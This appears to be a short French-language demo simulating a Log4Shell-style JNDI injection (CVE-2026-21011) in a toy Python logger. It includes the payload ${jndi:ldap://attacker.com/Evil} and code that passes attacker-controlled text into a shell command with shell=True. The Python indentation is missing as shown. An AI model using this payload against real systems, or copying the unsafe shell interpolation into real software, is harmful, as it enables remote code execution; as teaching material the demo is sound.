
Simule CVE-2026-21011, une injection JNDI de type Log4j dans un logger personnalisé : analyse les motifs ${jndi:...} et démontre l'exécution de code à distance déclenchée via LDAP.
# log4j_sim.py - Custom logger that evaluates ${...} patterns
import subprocess, re
def log(message):
# Vulnerable: looks up JNDI-like syntax and executes
pattern = r'\$\{jndi:(.+?)\}'
for match in re.finditer(pattern, message):
lookup = match.group(1)
if lookup.startswith('ldap://'):
# Simulate connecting to LDAP and loading a class
print(f"Loading malicious class from {lookup}")
subprocess.run(f"echo 'CLASS LOADED: {lookup}'", shell=True) # just demo
log("User-Agent: ${jndi:ldap://attacker.com/Evil}")
Un framework de journalisation personnalisé évalue les motifs ${jndi:...} dans les messages de journal, de la même manière que la tristement célèbre vulnérabilité Log4Shell. Un attaquant peut injecter une recherche JNDI pour charger et exécuter du code arbitraire depuis un serveur distant.
Exécutez la simulation :
python log4j_sim.py
Le script affiche qu'il chargerait une classe depuis le serveur LDAP de l'attaquant.